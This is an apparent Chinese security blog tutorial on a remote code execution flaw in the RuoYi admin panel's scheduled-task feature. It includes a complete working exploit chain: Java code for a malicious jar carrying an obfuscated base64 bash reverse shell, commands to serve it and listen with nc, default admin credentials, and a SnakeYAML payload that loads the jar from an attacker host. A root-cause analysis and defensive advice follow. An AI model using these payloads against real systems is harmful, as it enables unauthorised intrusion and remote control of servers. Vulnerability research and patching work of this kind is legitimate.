某依后台RCE分析
字数 1327 2025-08-24 23:51:21
若依后台RCE漏洞分析与利用教学文档
漏洞概述
漏洞标题:若依后台远程代码执行漏洞
漏洞类型:命令执行
漏洞等级:严重
影响范围:RuoYi <= 4.6.2
漏洞描述:若依后台计划任务功能中,对"调用目标字符串"参数缺乏有效校验,导致攻击者可调用任意类、方法及参数,通过反射机制执行系统命令。
漏洞利用步骤
1. 准备恶意JAR包
使用GitHub项目生成恶意jar包:
https://github.com/artsploit/yaml-payload
修改源码文件 src/artsploit/AwesomeScriptEngineFactory.java,添加反弹shell命令:
package artsploit;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMy8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}");
} catch (IOException e) {
e.printStackTrace();
}
}
// ... 其他代码 ...
}
编译并打包:
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
2. 设置监听服务
启动HTTP服务提供恶意jar包:
python3 -m http.server 2333
监听反弹shell:
nc -lvnp 1234
3. 登录若依后台
默认凭据:
- admin/admin123
- ry/admin123
4. 添加恶意计划任务
路径:系统监控 > 定时任务 > 新增
在"调用目标字符串"中输入YAML payload:
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://192.168.3.3:2333/yaml-payload.jar"]]]]')
5. 等待计划任务执行
执行完成后,将在nc监听端收到反弹shell连接。
漏洞原理分析
1. 漏洞触发点
漏洞位于com.ruoyi.quartz.util#JobInvokeUtil类中,该组件负责解析和执行计划任务参数。
2. 参数解析流程
当传入字符串格式为java.lang.xxx.func('aaa')时:
beanName= "java.lang.xxx"methodName= "func"methodParams= "aaa"
最终执行的反射代码为:
Class.forName("java.lang.xxx").getDeclaredMethod("func", String.class)
.invoke(Class.forName("java.lang.xxx").newInstance(), "aaa")
3. 利用条件
要成功利用此漏洞,需要满足以下条件:
- 目标类必须具有public类型的无参构造方法
- 目标类必须具有public类型且可以执行命令的方法
4. 利用类分析
选择org.yaml.snakeyaml.Yaml类的原因:
- 该类具有public无参构造方法
load()方法可以解析YAML格式字符串- 通过YAML反序列化可以触发远程类加载
5. YAML Payload解析
Payload结构:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [
[
!!java.net.URL ["http://192.168.3.3:2333/yaml-payload.jar"]
]
]
]
此payload会:
- 创建一个URLClassLoader实例
- 从指定URL加载jar文件
- 通过ScriptEngineManager机制执行jar中的恶意代码
防御建议
- 输入验证:对计划任务的"调用目标字符串"进行严格校验,限制可使用的类和方法
- 权限控制:限制计划任务功能的访问权限
- 升级版本:升级到RuoYi 4.6.2以上版本
- 安全配置:禁用不必要的反射功能
- 代码审查:审查所有使用反射的代码,确保参数可控
补充说明
- 字符串引号问题:传入的字符串必须用单引号包含,否则可能出现解析错误
- RMI限制:若依环境中直接使用RMI可能会报错,因此选择远程jar加载方式
- 替代方案:也可以使用其他具有危险方法的类进行利用,如
com.sun.rowset.JdbcRowSetImpl
参考代码
测试用的YAML执行代码:
import org.yaml.snakeyaml.Yaml;
import java.lang.reflect.InvocationTargetException;
public class YamlDemo {
public static void main(String[] args) throws Exception {
Yaml yaml = new Yaml();
yaml.load("!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ['http://1.1.1.1:2333/Demo.jar']]]]");
// 或者使用RMI方式(可能在若依中不可用)
// yaml.load("!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'rmi://127.0.0.1:9999/t', autoCommit: true}");
}
}
总结
该漏洞利用若依后台计划任务功能对反射调用缺乏足够的安全限制,通过精心构造的YAML反序列化payload实现远程代码执行。漏洞利用门槛较低但危害严重,建议受影响用户立即采取防护措施。